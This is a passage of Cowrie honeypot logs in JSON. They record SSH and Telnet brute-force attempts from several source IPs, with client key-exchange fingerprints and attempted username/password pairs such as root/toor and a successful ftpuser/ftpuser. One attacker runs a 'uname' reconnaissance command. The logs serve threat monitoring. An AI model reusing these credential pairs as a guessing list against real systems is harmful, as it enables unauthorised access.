r","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:28.107349Z","src_ip":"95.38.165.118","session":"a9a71a27d683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:30.828944Z","src_ip":"95.38.165.118","session":"a9a71a27d683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":58716,"dst_ip":"10.17.0.5","dst_port":22,"session":"46601dab1a17","protocol":"ssh","message":"New connection: 95.38.165.118:58716 (10.17.0.5:22) [session: 46601dab1a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:33.065514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:33.160817Z","src_ip":"95.38.165.118","session":"46601dab1a17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:33.285637Z","src_ip":"95.38.165.118","session":"46601dab1a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:33.628324Z","src_ip":"95.38.165.118","session":"a9a71a27d683","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:36.057983Z","src_ip":"95.38.165.118","session":"46601dab1a17","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:36.950434Z","src_ip":"95.38.165.118","session":"46601dab1a17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:36.953540Z","src_ip":"95.38.165.118","session":"46601dab1a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.21251368522644,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:37.876662Z","src_ip":"69.4.83.194","session":"039d45b6fdb5","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"1.0","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:37.945228Z","src_ip":"95.38.165.118","session":"46601dab1a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:37.950612Z","src_ip":"95.38.165.118","session":"46601dab1a17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":50496,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a73e7d6a7dc","protocol":"ssh","message":"New connection: 95.38.165.118:50496 (10.17.0.5:22) [session: 7a73e7d6a7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:38.299460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:38.320191Z","src_ip":"95.38.165.118","session":"7a73e7d6a7dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":37638,"dst_ip":"159.203.135.109","dst_port":22,"session":"44c85fa30e6b","protocol":"ssh","message":"New connection: 103.77.242.62:37638 (159.203.135.109:22) [session: 44c85fa30e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:38.661288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:38.667075Z","src_ip":"103.77.242.62","session":"44c85fa30e6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:38.806348Z","src_ip":"95.38.165.118","session":"7a73e7d6a7dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:38.908607Z","src_ip":"103.77.242.62","session":"44c85fa30e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:39.212897Z","src_ip":"95.38.165.118","session":"479349e078d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"frozen","message":"login attempt [root/frozen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:39.633084Z","src_ip":"103.77.242.62","session":"44c85fa30e6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56544,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ea861b8391a","protocol":"telnet","message":"New connection: 69.4.83.194:56544 (159.203.135.109:23) [session: 5ea861b8391a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:39.854173Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:40.544980Z","src_ip":"95.38.165.118","session":"7a73e7d6a7dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:40.876559Z","src_ip":"103.77.242.62","session":"44c85fa30e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:41.723284Z","src_ip":"95.38.165.118","session":"7a73e7d6a7dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":50510,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c6402baa1af","protocol":"ssh","message":"New connection: 95.38.165.118:50510 (10.17.0.5:22) [session: 9c6402baa1af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:43.284373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:43.289082Z","src_ip":"95.38.165.118","session":"9c6402baa1af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:43.455719Z","src_ip":"95.38.165.118","session":"9c6402baa1af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58380,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c47ea2c255b","protocol":"telnet","message":"New connection: 69.4.83.194:58380 (159.203.135.109:23) [session: 4c47ea2c255b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:43.838969Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:45.844703Z","src_ip":"95.38.165.118","session":"9c6402baa1af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:47.432038Z","src_ip":"95.38.165.118","session":"9c6402baa1af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":17551,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6830bfe4acf","protocol":"ssh","message":"New connection: 2.57.121.25:17551 (10.17.0.5:22) [session: e6830bfe4acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:48.249977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:48.255730Z","src_ip":"2.57.121.25","session":"e6830bfe4acf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:48.361566Z","src_ip":"2.57.121.25","session":"e6830bfe4acf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":45004,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a7a7b556994","protocol":"ssh","message":"New connection: 95.38.165.118:45004 (10.17.0.5:22) [session: 6a7a7b556994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:48.379959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:48.392283Z","src_ip":"95.38.165.118","session":"6a7a7b556994","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:48.551189Z","src_ip":"95.38.165.118","session":"6a7a7b556994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14031993","message":"login attempt [user/14031993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:48.857828Z","src_ip":"2.57.121.25","session":"e6830bfe4acf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:49.636027Z","src_ip":"95.38.165.118","session":"6a7a7b556994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14031979","message":"login attempt [user/14031979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:49.965456Z","src_ip":"2.57.121.25","session":"e6830bfe4acf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14021994","message":"login attempt [user/14021994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:51.072356Z","src_ip":"2.57.121.25","session":"e6830bfe4acf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14011995","message":"login attempt [user/14011995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:52.181652Z","src_ip":"2.57.121.25","session":"e6830bfe4acf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:52.251745Z","src_ip":"95.38.165.118","session":"6a7a7b556994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14011981","message":"login attempt [user/14011981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:53.290245Z","src_ip":"2.57.121.25","session":"e6830bfe4acf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":45032,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b9509130a57","protocol":"ssh","message":"New connection: 95.38.165.118:45032 (10.17.0.5:22) [session: 2b9509130a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:53.364218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:53.368952Z","src_ip":"95.38.165.118","session":"2b9509130a57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:53.537511Z","src_ip":"95.38.165.118","session":"2b9509130a57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:54.293097Z","src_ip":"95.38.165.118","session":"2b9509130a57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:54.403854Z","src_ip":"2.57.121.25","session":"e6830bfe4acf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:22:55.462103Z","src_ip":"95.38.165.118","session":"2b9509130a57","protocol":"ssh"}
